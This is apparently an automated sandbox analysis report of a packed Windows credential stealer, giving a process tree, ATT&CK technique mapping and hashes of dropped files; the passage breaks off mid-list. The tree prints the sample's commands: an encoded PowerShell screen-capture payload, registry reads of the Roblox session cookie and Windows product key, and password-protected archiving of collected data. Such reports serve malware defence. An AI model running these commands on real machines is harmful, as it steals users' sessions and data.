    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3952
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\je1mzbjl\je1mzbjl.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4360
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES153.tmp" "c:\Users\Admin\AppData\Local\Temp\je1mzbjl\CSCCE31B64868264E9C9CCA58A1442F92B.TMP"
        6⤵
        
        PID:632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5048
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI47962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\TI9oo.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Users\Admin\AppData\Local\Temp\_MEI47962\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI47962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\TI9oo.zip" *
      4⤵
      Executes dropped EXE
      PID:2080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4200
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 6639e9ed1134d973c917a2c4862731c66aaec64dcb7d1beb824d62dbcefbcd2a
MD5 5b93494bcac6db74fe43e807373556b5
SHA1 3189f043ca30ddd8e95d9f079797a77129304578
SHA512 c8271b5e1ebb544ddc60fedfdb6e25114c3e0067287cf50d4bbb65d25fb50049d7433cea223c07471e453c41ed49da86c472dbca1c23255d76dd98317b2cdf5d
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 0211a4649daa040751a5aa8f42a3a677da906daf541fed80c2aa19c5f77e9a60
MD5 ba8a00bf6995531451ca4ff43fecb0b9
SHA1 b590fcea37aded3a4b083ec2d39252fe10b97a61
SHA512 e0cfd06cca6fca6d1b742ecc354c2dd9c0e72ab456525086c2af388cb533ff5baae6ff83fa4347dfbc28edc1a2c1b97ef986c2923af9634fd6d967e913fbfc4b
TLSH
T199112223F3CC8921CC96163A509DAC5172B586CB81AEDF9F7FC0C211A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c21074b65f78bdc01011e9afefcafd8e6af67fd6357a57110e361d325caa7024
MD5 75032f31f5ffc7a4a59cc9d8e167b43a
SHA1 b0cc4f1863b5365dbd881f8fd46a344f3900d128
SHA512 2bdbd8ce13e532c4b9b665ec2d005d1a29bbe7ae5c9bd23a45ea8f2231638ad96ca6478a950d0a0a9af0818c136a463cc181ae9b79a2ea380f3fd3660d071a71
TLSH
T197216623B38C8921CC8A153A409DAC5032B583D741AEDE9FAFC5D604E17F588CB711D0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc
MD5 548dd08570d121a65e82abb7171cae1c
SHA1 1a1b5084b3a78f3acd0d811cc79dbcac121217ab
SHA512 37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b
TLSH
T1B4117623F3DC8A21CC96163A509D9C5176B683C7819EDF9F6BC0D201A5BF595CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

RES153.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES153.tmp
Size 1KB
SHA256 8d5ecf178506a98106cd547af5e29e7bbf72cc5f698b3d85aeaf72f587148eee
MD5 18f7eca30fcafa6c89625b4cde73c314
SHA1 69a720184f048305b385f11912d42e9b3ae81ffc
SHA512 d4f33c2796f8ee23c66384a4339f906ad39aab8bbcb634f82b2f274cecb85f4e465c312f745eb3cc2ab57b55c320230879aaf965aa537e1ce73fab54ad1af6a5
TLSH
T12021AA0593ED071FF0B7A7316DFA4B2B9264FE64EFA2A35B850052281C41114DEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\VCRUNTIME140.dll
Size 106KB
SHA256 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc
MD5 49c96cecda5c6c660a107d378fdfc3d4
SHA1 00149b7a66723e3f0310f139489fe172f818ca8e
SHA512 e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d
SSDEEP 1536:BcghDMWyjXZZIzpdbJhKm6Kuzu8fsecbq8uOFQr+zMtY+zA:BVHyQNdbJAKuzRsecbq8uOFvyU
TLSH
T1E5B37C4672A442F7D0AAD174C2E38A47FB70B4418B60A3CF03B58A650F63BE19E3D359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\_bz2.pyd
Size 48KB
SHA256 17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293
MD5 c413931b63def8c71374d7826fbf3ab4
SHA1 8b93087be080734db3399dc415cc5c875de857e2
SHA512 7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f
SSDEEP 1536:qFvfmA9WmLbAsqCWrTZI+ufIsCViS7SyhxG:YfhAXplI+qIsCViSk
TLSH
T12D23CF5342659464DC230EB238D94A2DEF72FA9B5540C7D73359923E4FB17823F9223A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\_ctypes.pyd
Size 58KB
SHA256 9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f
MD5 00f75daaa7f8a897f2a330e00fad78ac
SHA1 44aec43e5f8f1282989b14c4e3bd238c45d6e334
SHA512 f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4
SSDEEP 1536:xoC2SLyUQvjpxgmylKvpe0nqi1bsYrrRh4EAgTICIsLPS/7SyxxIYY:KJuyBUEReEBsYrv/ECIsLPS/lY
TLSH
T16443D1F295E8C829CD16CD327DE44A25EB3679D35650828F329C92779B3368258B3378
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\_hashlib.pyd
Size 35KB
SHA256 d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7
MD5 b227bf5d9fec25e2b36d416ccd943ca3
SHA1 4fae06f24a1b61e6594747ec934cbf06e7ec3773
SHA512 c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e
SSDEEP 768:d35lZrQBD7Xiyfulct4ziTpojMIsOIHQ5YiSyvaAMxkEr4:p5YM8ulcKljMIsOIHC7SyAxn4
TLSH
T130F2D1E38660DC2CD8238EF131D49D29FE767A678940C7DB2249917B4F623429FD22B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\_lzma.pyd
Size 85KB
SHA256 d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9
MD5 542eab18252d569c8abef7c58d303547
SHA1 05eff580466553f4687ae43acba8db3757c08151
SHA512 b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958
SSDEEP 1536:gQMcTNoOKoMWf9p5pYRCyO1yKprdsf2+iyfyiMIsZ1pc7SyExpg:9TiNo/VyMy3KpM2+id5IsZ1pcN
TLSH
T12D83F1775661E854DE3745B024C80927FB7ABAC21D60CBCB325C83A84F68743A79727E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\_queue.pyd
Size 25KB
SHA256 e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192
MD5 347d6a8c2d48003301032546c140c145
SHA1 1a3eb60ad4f3da882a3fd1e4248662f21bd34193
SHA512 b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06
SSDEEP 768:6+gXCwvc8pzLIsQUH25YiSyvYAMxkEl1C:KCwvcMLIsQUHM7SyexXC
TLSH
T18FC2AEA346B85C38DE238D7235D44825FD31BC978690C2DB32ADC2764F663426AA53B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47962\_socket.pyd
Size 43KB
SHA256 dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f
MD5 1a34253aa7c77f9534561dc66ac5cf49
